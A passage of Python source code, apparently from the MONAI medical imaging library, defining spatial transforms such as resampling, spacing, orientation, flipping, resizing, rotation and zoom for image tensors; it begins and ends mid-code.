spatial_size=spatial_size, norm_coords=False, image_only=True, dtype=_dtype ) output_data = affine_xform(img_, mode=mode, padding_mode=padding_mode) else: affine_xform = AffineTransform( normalized=False, mode=mode, padding_mode=padding_mode, align_corners=align_corners, reverse_indexing=True, ) output_data = affine_xform(img_.unsqueeze(0), theta=xform, spatial_size=spatial_size).squeeze(0) if additional_dims: full_shape = (chns, *spatial_size, *additional_dims) output_data = output_data.reshape(full_shape) # output dtype float output_data, *_ = convert_to_dst_type(output_data, img, dtype=torch.float32) return output_data, dst_affine class ResampleToMatch(SpatialResample): """Resample an image to match given meta data. The affine matrix will be aligned, and the size of the output image will match.""" def __call__( # type: ignore self, img: NdarrayOrTensor, src_meta: Optional[Dict] = None, dst_meta: Optional[Dict] = None, mode: Union[GridSampleMode, str, None] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str, None] = GridSamplePadMode.BORDER, align_corners: Optional[bool] = False, dtype: DtypeLike = None, ): if src_meta is None: raise RuntimeError("`in_meta` is missing") if dst_meta is None: raise RuntimeError("`out_meta` is missing") mode = mode or self.mode padding_mode = padding_mode or self.padding_mode align_corners = self.align_corners if align_corners is None else align_corners dtype = dtype or self.dtype src_affine = src_meta.get("affine") dst_affine = dst_meta.get("affine") img, updated_affine = super().__call__( img=img, src_affine=src_affine, dst_affine=dst_affine, spatial_size=dst_meta.get("spatial_shape"), mode=mode, padding_mode=padding_mode, align_corners=align_corners, dtype=dtype, ) dst_meta = deepcopy(dst_meta) dst_meta["affine"] = updated_affine return img, dst_meta class Spacing(Transform): """ Resample input image into the specified `pixdim`. """ backend = SpatialResample.backend def __init__( self, pixdim: Union[Sequence[float], float, np.ndarray], diagonal: bool = False, mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.BORDER, align_corners: bool = False, dtype: DtypeLike = np.float64, image_only: bool = False, ) -> None: """ Args: pixdim: output voxel spacing. if providing a single number, will use it for the first dimension. items of the pixdim sequence map to the spatial dimensions of input image, if length of pixdim sequence is longer than image spatial dimensions, will ignore the longer part, if shorter, will pad with `1.0`. if the components of the `pixdim` are non-positive values, the transform will use the corresponding components of the original pixdim, which is computed from the `affine` matrix of input image. diagonal: whether to resample the input to have a diagonal affine matrix. If True, the input data is resampled to the following affine:: np.diag((pixdim_0, pixdim_1, ..., pixdim_n, 1)) This effectively resets the volume to the world coordinate system (RAS+ in nibabel). The original orientation, rotation, shearing are not preserved. If False, this transform preserves the axes orientation, orthogonal rotation and translation components from the original affine. This option will not flip/swap axes of the original data. mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``"bilinear"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html When `USE_COMPILED` is `True`, this argument uses ``"nearest"``, ``"bilinear"``, ``"bicubic"`` to indicate 0, 1, 3 order interpolations. See also: https://docs.monai.io/en/stable/networks.html#grid-pull padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``"border"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html align_corners: Geometrically, we consider the pixels of the input as squares rather than points. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html dtype: data type for resampling computation. Defaults to ``np.float64`` for best precision. If None, use the data type of input data. To be compatible with other modules, the output data type is always ``np.float32``. image_only: return just the image or the image, the old affine and new affine. Default is `False`. """ self.pixdim = np.array(ensure_tuple(pixdim), dtype=np.float64) self.diagonal = diagonal self.image_only = image_only self.sp_resample = SpatialResample( mode=look_up_option(mode, GridSampleMode), padding_mode=look_up_option(padding_mode, GridSamplePadMode), align_corners=align_corners, dtype=dtype, ) def __call__( self, data_array: NdarrayOrTensor, affine: Optional[NdarrayOrTensor] = None, mode: Optional[Union[GridSampleMode, str]] = None, padding_mode: Optional[Union[GridSamplePadMode, str]] = None, align_corners: Optional[bool] = None, dtype: DtypeLike = None, output_spatial_shape: Optional[Union[Sequence[int], np.ndarray, int]] = None, ) -> Union[NdarrayOrTensor, Tuple[NdarrayOrTensor, NdarrayOrTensor, NdarrayOrTensor]]: """ Args: data_array: in shape (num_channels, H[, W, ...]). affine (matrix): (N+1)x(N+1) original affine matrix for spatially ND `data_array`. Defaults to identity. mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``self.mode``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html When `USE_COMPILED` is `True`, this argument uses ``"nearest"``, ``"bilinear"``, ``"bicubic"`` to indicate 0, 1, 3 order interpolations. See also: https://docs.monai.io/en/stable/networks.html#grid-pull padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``self.padding_mode``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html align_corners: Geometrically, we consider the pixels of the input as squares rather than points. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html dtype: data type for resampling computation. Defaults to ``self.dtype``. If None, use the data type of input data. To be compatible with other modules, the output data type is always ``np.float32``. output_spatial_shape: specify the shape of the output data_array. This is typically useful for the inverse of `Spacingd` where sometimes we could not compute the exact shape due to the quantization error with the affine. Raises: ValueError: When ``data_array`` has no spatial dimensions. ValueError: When ``pixdim`` is nonpositive. Returns: data_array (resampled into `self.pixdim`), original affine, current affine. """ sr = int(data_array.ndim - 1) if sr <= 0: raise ValueError("data_array must have at least one spatial dimension.") if affine is None: # default to identity affine_np = affine = np.eye(sr + 1, dtype=np.float64) affine_ = np.eye(sr + 1, dtype=np.float64) else: affine_np, *_ = convert_data_type(affine, np.ndarray) affine_ = to_affine_nd(sr, affine_np) out_d = self.pixdim[:sr] if out_d.size < sr: out_d = np.append(out_d, [1.0] * (sr - out_d.size)) # compute output affine, shape and offset new_affine = zoom_affine(affine_, out_d, diagonal=self.diagonal) output_shape, offset = compute_shape_offset(data_array.shape[1:], affine_, new_affine) new_affine[:sr, -1] = offset[:sr] output_data, new_affine = self.sp_resample( data_array, src_affine=affine, dst_affine=new_affine, spatial_size=list(output_shape) if output_spatial_shape is None else output_spatial_shape, mode=mode, padding_mode=padding_mode, align_corners=align_corners, dtype=dtype, ) new_affine = to_affine_nd(affine_np, new_affine) new_affine, *_ = convert_to_dst_type(src=new_affine, dst=affine, dtype=torch.float32) if self.image_only: return output_data return output_data, affine, new_affine class Orientation(Transform): """ Change the input image's orientation into the specified based on `axcodes`. """ backend = [TransformBackends.NUMPY, TransformBackends.TORCH] def __init__( self, axcodes: Optional[str] = None, as_closest_canonical: bool = False, labels: Optional[Sequence[Tuple[str, str]]] = tuple(zip("LPI", "RAS")), image_only: bool = False, ) -> None: """ Args: axcodes: N elements sequence for spatial ND input's orientation. e.g. axcodes='RAS' represents 3D orientation: (Left, Right), (Posterior, Anterior), (Inferior, Superior). default orientation labels options are: 'L' and 'R' for the first dimension, 'P' and 'A' for the second, 'I' and 'S' for the third. as_closest_canonical: if True, load the image as closest to canonical axis format. labels: optional, None or sequence of (2,) sequences (2,) sequences are labels for (beginning, end) of output axis. Defaults to ``(('L', 'R'), ('P', 'A'), ('I', 'S'))``. image_only: if True return only the image volume, otherwise return (image, affine, new_affine). Raises: ValueError: When ``axcodes=None`` and ``as_closest_canonical=True``. Incompatible values. See Also: `nibabel.orientations.ornt2axcodes`. """ if axcodes is None and not as_closest_canonical: raise ValueError("Incompatible values: axcodes=None and as_closest_canonical=True.") if axcodes is not None and as_closest_canonical: warnings.warn("using as_closest_canonical=True, axcodes ignored.") self.axcodes = axcodes self.as_closest_canonical = as_closest_canonical self.labels = labels self.image_only = image_only def __call__( self, data_array: NdarrayOrTensor, affine: Optional[NdarrayOrTensor] = None ) -> Union[NdarrayOrTensor, Tuple[NdarrayOrTensor, NdarrayOrTensor, NdarrayOrTensor]]: """ original orientation of `data_array` is defined by `affine`. Args: data_array: in shape (num_channels, H[, W, ...]). affine (matrix): (N+1)x(N+1) original affine matrix for spatially ND `data_array`. Defaults to identity. Raises: ValueError: When ``data_array`` has no spatial dimensions. ValueError: When ``axcodes`` spatiality differs from ``data_array``. Returns: data_array [reoriented in `self.axcodes`] if `self.image_only`, else (data_array [reoriented in `self.axcodes`], original axcodes, current axcodes). """ spatial_shape = data_array.shape[1:] sr = len(spatial_shape) if sr <= 0: raise ValueError("data_array must have at least one spatial dimension.") affine_: np.ndarray if affine is None: # default to identity affine_np = affine = np.eye(sr + 1, dtype=np.float64) affine_ = np.eye(sr + 1, dtype=np.float64) else: affine_np, *_ = convert_data_type(affine, np.ndarray) affine_ = to_affine_nd(sr, affine_np) src = nib.io_orientation(affine_) if self.as_closest_canonical: spatial_ornt = src else: if self.axcodes is None: raise ValueError("Incompatible values: axcodes=None and as_closest_canonical=True.") if sr < len(self.axcodes): warnings.warn( f"axcodes ('{self.axcodes}') length is smaller than the number of input spatial dimensions D={sr}.\n" f"{self.__class__.__name__}: input spatial shape is {spatial_shape}, num. channels is {data_array.shape[0]}," "please make sure the input is in the channel-first format." ) dst = nib.orientations.axcodes2ornt(self.axcodes[:sr], labels=self.labels) if len(dst) < sr: raise ValueError( f"axcodes must match data_array spatially, got axcodes={len(self.axcodes)}D data_array={sr}D" ) spatial_ornt = nib.orientations.ornt_transform(src, dst) new_affine = affine_ @ nib.orientations.inv_ornt_aff(spatial_ornt, spatial_shape) _is_tensor = isinstance(data_array, torch.Tensor) spatial_ornt[:, 0] += 1 # skip channel dim spatial_ornt = np.concatenate([np.array([[0, 1]]), spatial_ornt]) axes = [ax for ax, flip in enumerate(spatial_ornt[:, 1]) if flip == -1] if axes: data_array = ( torch.flip(data_array, dims=axes) if _is_tensor else np.flip(data_array, axis=axes) # type: ignore ) full_transpose = np.arange(len(data_array.shape)) full_transpose[: len(spatial_ornt)] = np.argsort(spatial_ornt[:, 0]) if not np.all(full_transpose == np.arange(len(data_array.shape))): if _is_tensor: data_array = data_array.permute(full_transpose.tolist()) # type: ignore else: data_array = data_array.transpose(full_transpose) # type: ignore out, *_ = convert_to_dst_type(src=data_array, dst=data_array) new_affine = to_affine_nd(affine_np, new_affine) new_affine, *_ = convert_to_dst_type(src=new_affine, dst=affine, dtype=torch.float32) if self.image_only: return out return out, affine, new_affine class Flip(Transform): """ Reverses the order of elements along the given spatial axis. Preserves shape. Uses ``np.flip`` in practice. See numpy.flip for additional details: https://docs.scipy.org/doc/numpy/reference/generated/numpy.flip.html. Args: spatial_axis: spatial axes along which to flip over. Default is None. The default `axis=None` will flip over all of the axes of the input array. If axis is negative it counts from the last to the first axis. If axis is a tuple of ints, flipping is performed on all of the axes specified in the tuple. """ backend = [TransformBackends.TORCH, TransformBackends.NUMPY] def __init__(self, spatial_axis: Optional[Union[Sequence[int], int]] = None) -> None: self.spatial_axis = spatial_axis def __call__(self, img: NdarrayOrTensor) -> NdarrayOrTensor: """ Args: img: channel first array, must have shape: (num_channels, H[, W, ..., ]), """ if isinstance(img, np.ndarray): return np.ascontiguousarray(np.flip(img, map_spatial_axes(img.ndim, self.spatial_axis))) return torch.flip(img, map_spatial_axes(img.ndim, self.spatial_axis)) class Resize(Transform): """ Resize the input image to given spatial size (with scaling, not cropping/padding). Implemented using :py:class:`torch.nn.functional.interpolate`. Args: spatial_size: expected shape of spatial dimensions after resize operation. if some components of the `spatial_size` are non-positive values, the transform will use the corresponding components of img size. For example, `spatial_size=(32, -1)` will be adapted to `(32, 64)` if the second spatial dimension size of img is `64`. size_mode: should be "all" or "longest", if "all", will use `spatial_size` for all the spatial dims, if "longest", rescale the image so that only the longest side is equal to specified `spatial_size`, which must be an int number in this case, keeping the aspect ratio of the initial image, refer to: https://albumentations.ai/docs/api_reference/augmentations/geometric/resize/ #albumentations.augmentations.geometric.resize.LongestMaxSize. mode: {``"nearest"``, ``"linear"``, ``"bilinear"``, ``"bicubic"``, ``"trilinear"``, ``"area"``} The interpolation mode. Defaults to ``"area"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.interpolate.html align_corners: This only has an effect when mode is 'linear', 'bilinear', 'bicubic' or 'trilinear'. Default: None. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.interpolate.html """ backend = [TransformBackends.TORCH] def __init__( self, spatial_size: Union[Sequence[int], int], size_mode: str = "all", mode: Union[InterpolateMode, str] = InterpolateMode.AREA, align_corners: Optional[bool] = None, ) -> None: self.size_mode = look_up_option(size_mode, ["all", "longest"]) self.spatial_size = spatial_size self.mode: InterpolateMode = look_up_option(mode, InterpolateMode) self.align_corners = align_corners def __call__( self, img: NdarrayOrTensor, mode: Optional[Union[InterpolateMode, str]] = None, align_corners: Optional[bool] = None, ) -> NdarrayOrTensor: """ Args: img: channel first array, must have shape: (num_channels, H[, W, ..., ]). mode: {``"nearest"``, ``"linear"``, ``"bilinear"``, ``"bicubic"``, ``"trilinear"``, ``"area"``} The interpolation mode. Defaults to ``self.mode``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.interpolate.html align_corners: This only has an effect when mode is 'linear', 'bilinear', 'bicubic' or 'trilinear'. Defaults to ``self.align_corners``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.interpolate.html Raises: ValueError: When ``self.spatial_size`` length is less than ``img`` spatial dimensions. """ img_, *_ = convert_data_type(img, torch.Tensor, dtype=torch.float) if self.size_mode == "all": input_ndim = img_.ndim - 1 # spatial ndim output_ndim = len(ensure_tuple(self.spatial_size)) if output_ndim > input_ndim: input_shape = ensure_tuple_size(img_.shape, output_ndim + 1, 1) img_ = img_.reshape(input_shape) elif output_ndim < input_ndim: raise ValueError( "len(spatial_size) must be greater or equal to img spatial dimensions, " f"got spatial_size={output_ndim} img={input_ndim}." ) spatial_size_ = fall_back_tuple(self.spatial_size, img_.shape[1:]) else: # for the "longest" mode img_size = img_.shape[1:] if not isinstance(self.spatial_size, int): raise ValueError("spatial_size must be an int number if size_mode is 'longest'.") scale = self.spatial_size / max(img_size) spatial_size_ = tuple(int(round(s * scale)) for s in img_size) resized = torch.nn.functional.interpolate( input=img_.unsqueeze(0), size=spatial_size_, mode=look_up_option(self.mode if mode is None else mode, InterpolateMode).value, align_corners=self.align_corners if align_corners is None else align_corners, ) out, *_ = convert_to_dst_type(resized.squeeze(0), img) return out class Rotate(Transform, ThreadUnsafe): """ Rotates an input image by given angle using :py:class:`monai.networks.layers.AffineTransform`. Args: angle: Rotation angle(s) in radians. should a float for 2D, three floats for 3D. keep_size: If it is True, the output shape is kept the same as the input. If it is False, the output shape is adapted so that the input array is contained completely in the output. Default is True. mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``"bilinear"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``"border"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html align_corners: Defaults to False. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html dtype: data type for resampling computation. Defaults to ``np.float32``. If None, use the data type of input data. To be compatible with other modules, the output data type is always ``np.float32``. """ backend = [TransformBackends.TORCH] def __init__( self, angle: Union[Sequence[float], float], keep_size: bool = True, mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.BORDER, align_corners: bool = False, dtype: Union[DtypeLike, torch.dtype] = np.float32, ) -> None: self.angle = angle self.keep_size = keep_size self.mode: GridSampleMode = look_up_option(mode, GridSampleMode) self.padding_mode: GridSamplePadMode = look_up_option(padding_mode, GridSamplePadMode) self.align_corners = align_corners self.dtype = dtype self._rotation_matrix: Optional[NdarrayOrTensor] = None def __call__( self, img: NdarrayOrTensor, mode: Optional[Union[GridSampleMode, str]] = None, padding_mode: Optional[Union[GridSamplePadMode, str]] = None, align_corners: Optional[bool] = None, dtype: Union[DtypeLike, torch.dtype] = None, ) -> NdarrayOrTensor: """ Args: img: channel first array, must have shape: [chns, H, W] or [chns, H, W, D]. mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``self.mode``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``self.padding_mode``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html align_corners: Defaults to ``self.align_corners``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html align_corners: Defaults to ``self.align_corners``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html dtype: data type for resampling computation. Defaults to ``self.dtype``. If None, use the data type of input data. To be compatible with other modules, the output data type is always ``np.float32``. Raises: ValueError: When ``img`` spatially is not one of [2D, 3D]. """ _dtype = dtype or self.dtype or img.dtype img_t, *_ = convert_data_type(img, torch.Tensor, dtype=_dtype) im_shape = np.asarray(img_t.shape[1:]) # spatial dimensions input_ndim = len(im_shape) if input_ndim not in (2, 3): raise ValueError(f"Unsupported img dimension: {input_ndim}, available options are [2, 3].") _angle = ensure_tuple_rep(self.angle, 1 if input_ndim == 2 else 3) transform = create_rotate(input_ndim, _angle) shift = create_translate(input_ndim, ((im_shape - 1) / 2).tolist()) if self.keep_size: output_shape = im_shape else: corners = np.asarray(np.meshgrid(*[(0, dim) for dim in im_shape], indexing="ij")).reshape( (len(im_shape), -1) ) corners = transform[:-1, :-1] @ corners # type: ignore output_shape = np.asarray(corners.ptp(axis=1) + 0.5, dtype=int) shift_1 = create_translate(input_ndim, (-(output_shape - 1) / 2).tolist()) transform = shift @ transform @ shift_1 transform_t, *_ = convert_to_dst_type(transform, img_t) xform = AffineTransform( normalized=False, mode=look_up_option(mode or self.mode, GridSampleMode), padding_mode=look_up_option(padding_mode or self.padding_mode, GridSamplePadMode), align_corners=self.align_corners if align_corners is None else align_corners, reverse_indexing=True, ) output: torch.Tensor = xform(img_t.unsqueeze(0), transform_t, spatial_size=output_shape).float().squeeze(0) self._rotation_matrix = transform out: NdarrayOrTensor out, *_ = convert_to_dst_type(output, dst=img, dtype=output.dtype) return out def get_rotation_matrix(self) -> Optional[NdarrayOrTensor]: """ Get the most recently applied rotation matrix This is not thread-safe. """ return self._rotation_matrix class Zoom(Transform): """ Zooms an ND image using :py:class:`torch.nn.functional.interpolate`. For details, please see https://pytorch.org/docs/stable/generated/torch.nn.functional.interpolate.html. Different from :py:class:`monai.transforms.resize`, this transform takes scaling factors as input, and provides an option of preserving the input spatial size. Args: zoom: The zoom factor along the spatial axes. If a float, zoom is the same for each spatial axis. If a sequence, zoom should contain one value for each spatial axis. mode: {``"nearest"``, ``"linear"``, ``"bilinear"``, ``"bicubic"``, ``"trilinear"``, ``"area"``} The interpolation mode. Defaults to ``"area"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.interpolate.html padding_mode: available modes for numpy array:{``"constant"``, ``"edge"``, ``"linear_ramp"``, ``"maximum"``, ``"mean"``, ``"median"``, ``"minimum"``, ``"reflect"``, ``"symmetric"``, ``"wrap"``, ``"empty"``} available modes for PyTorch Tensor: {``"constant"``, ``"reflect"``, ``"replicate"``, ``"circular"``}. One of the listed string values or a user supplied function. Defaults to ``"constant"``. The mode to pad data after zooming. See also: https://numpy.org/doc/1.18/reference/generated/numpy.pad.html https://pytorch.org/docs/stable/generated/torch.nn.functional.pad.html align_corners: This only has an effect when mode is 'linear', 'bilinear', 'bicubic' or 'trilinear'. Default: None. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.interpolate.html keep_size: Should keep original size (padding/slicing if needed), default is True. kwargs: other arguments for the `np.pad` or `torch.pad` function. note that `np.pad` treats channel dimension as the first dimension. """ backend = [TransformBackends.TORCH] def __init__( self, zoom: Union[Sequence[float], float], mode: Union[InterpolateMode, str] = InterpolateMode.AREA, padding_mode: Union[NumpyPadMode, PytorchPadMode, str] = NumpyPadMode.EDGE, align_corners: Optional[bool] = None, keep_size: bool = True, **kwargs, ) -> None: self.zoom = zoom self.mode: InterpolateMode = InterpolateMode(mode) self.padding_mode = padding_mode self.align_corners = align_corners self.keep_size = keep_size self.kwargs = kwargs def __call__( self, img: NdarrayOrTensor, mode: Optional[Union[InterpolateMode, str]] = None, padding_mode: Optional[Union[NumpyPadMode, PytorchPadMode, str]] = None, align_corners: Optional[bool] = None, ) -> NdarrayOrTensor: """ Args: img: channel first array, must have shape: (num_channels, H[, W, ..., ]). mode: {``"nearest"``, ``"linear"``, ``"bilinear"``, ``"bicubic"``, ``"trilinear"``, ``"area"``} The interpolation mode. Defaults to ``self.mode``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.interpolate.html padding_mode: available modes for numpy array:{``"constant"``, ``"edge"``, ``"linear_ramp"``, ``"maximum"``, ``"mean"``, ``"median"``, ``"minimum"``, ``"reflect"``, ``"symmetric"``, ``"wrap"``, ``"empty"``} available modes for PyTorch Tensor: {``"constant"``, ``"reflect"``, ``"replicate"``, ``"circular"``}. One of the listed string values or a user supplied function. Defaults to ``"constant"``. The mode to pad data after zooming. See also: https://numpy.org/doc/1.18/reference/generated/numpy.pad.html https://pytorch.org/docs/stable/generated/torch.nn.functional.pad.html align_corners: This only has an effect when mode is 'linear', 'bilinear', 'bicubic' or 'trilinear'. Defaults to ``self.align_corners``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.interpolate.html """ img_t, *_ = convert_data_type(img, torch.Tensor, dtype=torch.float32) _zoom = ensure_tuple_rep(self.zoom, img.ndim - 1) # match the spatial image dim zoomed: NdarrayOrTensor = torch.nn.functional.interpolate( # type: ignore recompute_scale_factor=True, input=img_t.unsqueeze(0), scale_factor=list(_zoom), mode=look_up_option(self.mode if mode is None else mode, InterpolateMode).value, align_corners=self.align_corners if align_corners is None else align_corners, ) zoomed = zoomed.squeeze(0) if self.keep_size and not np.allclose(img_t.shape, zoomed.shape): pad_vec = [(0, 0)] * len(img_t.shape) slice_vec = [slice(None)] * len(img_t.shape) for idx, (od, zd) in enumerate(zip(img_t.shape, zoomed.shape)): diff = od - zd half = abs(diff) // 2 if diff > 0: # need padding pad_vec[idx] = (half, diff - half) elif diff < 0: # need slicing slice_vec[idx] = slice(half, half + od) padder = Pad(pad_vec, padding_mode or self.padding_mode) zoomed = padder(zoomed) zoomed = zoomed[tuple(slice_vec)] out, *_ = convert_to_dst_type(zoomed, dst=img) return out class Rotate90(Transform): """ Rotate an array by 90 degrees in the plane specified by `axes`. See np.rot90 for additional details: https://numpy.org/doc/stable/reference/generated/numpy.rot90.html. """ backend = [TransformBackends.TORCH, TransformBackends.NUMPY] def __init__(self, k: int = 1, spatial_axes: Tuple[int, int] = (0, 1)) -> None: """ Args: k: number of times to rotate by 90 degrees. spatial_axes: 2 int numbers, defines the plane to rotate with 2 spatial axes. Default: (0, 1), this is the first two axis in spatial dimensions. If axis is negative it counts from the last to the first axis. """ self.k = k spatial_axes_: Tuple[int, int] = ensure_tuple(spatial_axes) # type: ignore if len(spatial_axes_) != 2: raise ValueError("spatial_axes must be 2 int numbers to indicate the axes to rotate 90 degrees.") self.spatial_axes = spatial_axes_ def __call__(self, img: NdarrayOrTensor) -> NdarrayOrTensor: """ Args: img: channel first array, must have shape: (num_channels, H[, W, ..., ]), """ rot90: Callable = torch.rot90 if isinstance(img, torch.Tensor) else np.rot90 # type: ignore out: NdarrayOrTensor = rot90(img, self.k, map_spatial_axes(img.ndim, self.spatial_axes)) out, *_ = convert_data_type(out, dtype=img.dtype) return out class RandRotate90(RandomizableTransform): """ With probability `prob`, input arrays are rotated by 90 degrees in the plane specified by `spatial_axes`. """ backend = Rotate90.backend def __init__(self, prob: float = 0.1, max_k: int = 3, spatial_axes: Tuple[int, int] = (0, 1)) -> None: """ Args: prob: probability of rotating. (Default 0.1, with 10% probability it returns a rotated array) max_k: number of rotations will be sampled from `np.random.randint(max_k) + 1`, (Default 3). spatial_axes: 2 int numbers, defines the plane to rotate with 2 spatial axes. Default: (0, 1), this is the first two axis in spatial dimensions. """ RandomizableTransform.__init__(self, prob) self.max_k = max_k self.spatial_axes = spatial_axes self._rand_k = 0 def randomize(self, data: Optional[Any] = None) -> None: super().randomize(None) if not self._do_transform: return None self._rand_k = self.R.randint(self.max_k) + 1 def __call__(self, img: NdarrayOrTensor, randomize: bool = True) -> NdarrayOrTensor: """ Args: img: channel first array, must have shape: (num_channels, H[, W, ..., ]), randomize: whether to execute `randomize()` function first, default to True. """ if randomize: self.randomize() if not self._do_transform: return img return Rotate90(self._rand_k, self.spatial_axes)(img) class RandRotate(RandomizableTransform): """ Randomly rotate the input arrays. Args: range_x: Range of rotation angle in radians in the plane defined by the first and second axes. If single number, angle is uniformly sampled from (-range_x, range_x). range_y: Range of rotation angle in radians in the plane defined by the first and third axes. If single number, angle is uniformly sampled from (-range_y, range_y). range_z: Range of rotation angle in radians in the plane defined by the second and third axes. If single number, angle is uniformly sampled from (-range_z, range_z). prob: Probability of rotation. keep_size: If it is False, the output shape is adapted so that the input array is contained completely in the output. If it is True, the output shape is the same as the input. Default is True. mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``"bilinear"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``"border"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html align_corners: Defaults to False. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html dtype: data type for resampling computation. Defaults to ``np.float32``. If None, use the data type of input data. To be compatible with other modules, the output data type is always ``np.float32``. """ backend = Rotate.backend def __init__( self, range_x: Union[Tuple[float, float], float] = 0.0, range_y: Union[Tuple[float, float], float] = 0.0, range_z: Union[Tuple[float, float], float] = 0.0, prob: float = 0.1, keep_size: bool = True, mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.BORDER, align_corners: bool = False, dtype: Union[DtypeLike, torch.dtype] = np.float32, ) -> None: RandomizableTransform.__init__(self, prob) self.range_x = ensure_tuple(range_x) if len(self.range_x) == 1: self.range_x = tuple(sorted([-self.range_x[0], self.range_x[0]])) self.range_y = ensure_tuple(range_y) if len(self.range_y) == 1: self.range_y = tuple(sorted([-self.range_y[0], self.range_y[0]])) self.range_z = ensure_tuple(range_z) if len(self.range_z) == 1: self.range_z = tuple(sorted([-self.range_z[0], self.range_z[0]])) self.keep_size = keep_size self.mode: GridSampleMode = look_up_option(mode, GridSampleMode) self.padding_mode: GridSamplePadMode = look_up_option(padding_mode, GridSamplePadMode) self.align_corners = align_corners self.dtype = dtype self.x = 0.0 self.y = 0.0 self.z = 0.0 def randomize(self, data: Optional[Any] = None) -> None: super().randomize(None) if not self._do_transform: return None self.x = self.R.uniform(low=self.range_x[0], high=self.range_x[1]) self.y = self.R.uniform(low=self.range_y[0], high=self.range_y[1]) self.z = self.R.uniform(low=self.range_z[0], high=self.range_z[1]) def __call__( self, img: NdarrayOrTensor, mode: Optional[Union[GridSampleMode, str]] = None, padding_mode: Optional[Union[GridSamplePadMode, str]] = None, align_corners: Optional[bool] = None, dtype: Union[DtypeLike, torch.dtype] = None, randomize: bool = True, get_matrix: bool = False, ): """ Args: img: channel first array, must have shape 2D: (nchannels, H, W), or 3D: (nchannels, H, W, D). mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``self.mode``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``self.padding_mode``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html align_corners: Defaults to ``self.align_corners``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html dtype: data type for resampling computation. Defaults to ``self.dtype``. If None, use the data type of input data. To be compatible with other modules, the output data type is always ``np.float32``. randomize: whether to execute `randomize()` function first, default to True. get_matrix: whether to return the rotated image and rotate matrix together, default to False. """ if randomize: self.randomize() if not self._do_transform: return img rotator = Rotate( angle=self.x if img.ndim == 3 else (self.x, self.y, self.z), keep_size=self.keep_size, mode=look_up_option(mode or self.mode, GridSampleMode), padding_mode=look_up_option(padding_mode or self.padding_mode, GridSamplePadMode), align_corners=self.align_corners if align_corners is None else align_corners, dtype=dtype or self.dtype or img.dtype, ) img = rotator(img) return (img, rotator.get_rotation_matrix()) if get_matrix else img class RandFlip(RandomizableTransform): """ Randomly flips the image along axes. Preserves shape. See numpy.flip for additional details. https://docs.scipy.org/doc/numpy/reference/generated/numpy.flip.html Args: prob: Probability of flipping. spatial_axis: Spatial axes along which to flip over. Default is None. """ backend = Flip.backend def __init__(self, prob: float = 0.1, spatial_axis: Optional[Union[Sequence[int], int]] = None) -> None: RandomizableTransform.__init__(self, prob) self.flipper = Flip(spatial_axis=spatial_axis) def __call__(self, img: NdarrayOrTensor, randomize: bool = True) -> NdarrayOrTensor: """ Args: img: channel first array, must have shape: (num_channels, H[, W, ..., ]), randomize: whether to execute `randomize()` function first, default to True. """ if randomize: self.randomize(None) if not self._do_transform: return img return self.flipper(img) class RandAxisFlip(RandomizableTransform): """ Randomly select a spatial axis and flip along it. See numpy.flip for additional details. https://docs.scipy.org/doc/numpy/reference/generated/numpy.flip.html Args: prob: Probability of flipping. """ backend = Flip.backend def __init__(self, prob: float = 0.1) -> None: RandomizableTransform.__init__(self, prob) self._axis: Optional[int] = None def randomize(self, data: NdarrayOrTensor) -> None: super().randomize(None) if not self._do_transform: return None self._axis = self.R.randint(data.ndim - 1) def __call__(self, img: NdarrayOrTensor, 